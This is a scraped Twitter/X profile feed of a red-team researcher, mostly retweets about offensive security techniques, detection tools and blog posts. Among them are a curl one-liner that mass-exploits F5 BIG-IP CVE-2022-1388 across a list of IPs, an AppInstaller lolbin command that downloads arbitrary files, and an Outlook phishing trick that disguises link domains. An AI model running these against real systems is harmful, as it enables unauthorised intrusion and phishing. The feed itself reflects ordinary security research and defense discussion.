Lynn Enayeh @m3m0ryAll0c

#RedTeam @ Mandiant | ☕️👩🏽‍💻🚴🏽‍♀️🏋🏽‍♀️✈️. Washington, DC Joined May 2017

Tweets

120
Followers

271
Following

145
Likes

1K

sinusoid @the_bit_diddler

2 years ago

As "offensive operators" we often have way more data than is typically presented. It's time to do better than lazy screenshots of a Bloodhound UI with a messy blob. Given transitive object control: give info on last hop, chain length, and type. IN FULL! tinyurl.com/44y4up7k

2 19 62 8K 19

Louis Dion-Marcil @ldionmarcil

2 years ago

Outlook for Windows can be tricked into displaying a fake domain, but open another one. Add a <base> tag with a fake domain + left-to-right mark (U+200E) Links in <a> tags will show the fake domain, but open the real domain. No need to buy .zip! :) Convincing #phishing #redteam

13 242 824 117K 377

Download Image

S4ntiagoP @s4ntiago_p

3 years ago

A small blogpost (and PoC) about creating Windows processes using syscalls 😊 coresecurity.com/core-labs/arti…

9 124 376 0 85

Andrew Oliveau @AndrewOliveau

3 years ago

Lateral movement with Outlook + WMI COM objects

2 129 475 0 97

Download Image

Rasta Mouse @_RastaMouse

3 years ago

[BLOG] Short post on how to use Firefox to access internal web apps over SOCKS using NTLM authentication. offensivedefence.co.uk/posts/ntlm-aut…

4 77 249 0 63

thefLink @thefLinkk

3 years ago

Here is my variant of Gargoyle for x64 to evade memory scanners. Fully relies on ROP and PIC without any APC. Huge thanks to @waldoirc for the documentation. github.com/thefLink/DeepS…

3 154 374 0 105

klez @KlezVirus

3 years ago

[BLOG POST] Finally managed to write down a post about FunctionHijacking, a "new" process injection technique built upon Module/Function Stomping, along with my experiments to break behavioral based detection of other common process injection techniques. klezvirus.github.io/RedTeaming/AV_…

6 237 547 0 172

Oliver Lyak @ly4k_

3 years ago

The first blog post is here. This one covers the technical details of CVE-2022-26923 (Active Directory Domain Services Elevation of Privilege Vulnerability). The vulnerability was patched as part of the May 2022 Security Updates from Microsoft. research.ifcr.dk/9e098fe298f4

25 367 762 0 137

ناصر بن حاسن | أمن سيبراني🛡 @r00t_nasser

3 years ago

Exploit F5 Big IP Using Curl CVE-2022-1388 cat ips.txt | while read ip; do curl -su admin -H "Content-Type: application/json" http://$ip/mgmt/tm/util/bash -d '{"command":"run","utilCmdArgs":"-c id"}';done did i miss something ? #bugbountytip #bugbonty #infosec

14 162 535 0 151

Download Image

Lynn Enayeh @m3m0ryAll0c

4 years ago

Operation Non-Infosec Reading Material

2 0 6 0 0

Download Image

Red Canary, a Zscaler company @redcanary

4 years ago

New from @jsecurity101: MSRPC to ATT&CK is an encyclopedia of comprehensive context about specific Remote Procedure Call protocols. redcanary.com/blog/msrpc-to-…

2 68 173 0 40

Download Image

Lynn Enayeh @m3m0ryAll0c

4 years ago

PE/COFF import parser (github.com/EspressoCake/D…) + DLL search order hijacking BOF 👏🏽👏🏽

sinusoid @the_bit_diddler

4 years ago

PE/COFF import parser (github.com/EspressoCake/D…) + DLL search order hijacking BOF 👏🏽👏🏽

2 81 230 0 45

Download Image

0 0 1 0 1

mpgn @mpgn_x64

4 years ago

So now we are in 2021 and everyone is using LAPS (cough cough), it is time for CrackMapExec to level up the game. I've added a new core function "--laps", so if you have compromised an account that can read LAPS pass, you can conquer the world now 🔥 Pushed on @porchetta_ind 🪂

13 391 1K 0 147

Download Image

Lynn Enayeh @m3m0ryAll0c

4 years ago

Working at @FireEye /@Mandiant.

4 2 24 0 2

Download Image

Andrew Oliveau @AndrewOliveau

4 years ago

As some of you may know, #CobaltStrike beacons can be detected using ETW. For CCDC our team built and used BeaconHunter to detect and respond to these threats. Github: github.com/3lp4tr0n/Beaco… We were able to kill +210 beacons (~70% automated) and monitor their behavior like...

7 209 511 0 104

S3cur3Th1sSh1t @ShitSecure

5 years ago

A tale of EDR bypass methods - s3cur3th1ssh1t.github.io/A-tale-of-EDR-… Special thanks to @_EthicalChaos_ and @_RastaMouse for answering all my questions! 🍻

8 269 551 0 88

Doug Bienstock @doughsec

5 years ago

We've summarized 4 primary techniques we've seen #UNC2452 and other TAs use while moving laterally to the M365 cloud. Technical details, detect, prevent, and recovery advice: fireeye.com/blog/threat-re… shouts to co-authors Matthew McWhirt, Nick Bennet, and @mburns7

1 70 134 0 26

Matthew Dunwoody @matthewdunwoody

5 years ago

1⃣ Search SolarWinds server for SolarWinds.Orion.Core.BusinessLayer.dll (may be multiple) 2⃣ Copy any/all to a temp folder 3⃣ Scan with Yara rules (Or just scan the whole server..) 4⃣ If a match, review the blog post and move to IR Take this threat very seriously. #SUNBURST 🎆

Matthew Dunwoody @matthewdunwoody

5 years ago

1 23 62 0 5

8 198 426 0 68

¬ whickey @notwhickey

5 years ago

I found a way to download arbitrary files with AppInstaller.exe (signed by MS). start ms-appinstaller://?source=<url> `start` calls the default URI handler, spawns AppInstaller.exe, and downloads an arbitrary file which you can find using forfiles. #lolbin #lolbas #appinstaller

15 332 1K 0 153

Download Image

NVISO Labs @NVISO_Labs

5 years ago

Our lab rats have been busy! 🔥🐀 In our latest post, @Jean_Maes_1994 explains how D/Invoke can be used to bypass hooking. Shoutout to @cobbr_io for the Sharpsploit project, @FuzzySec and @TheRealWover for their work on D/Invoke blog.nviso.eu/2020/11/20/dyn…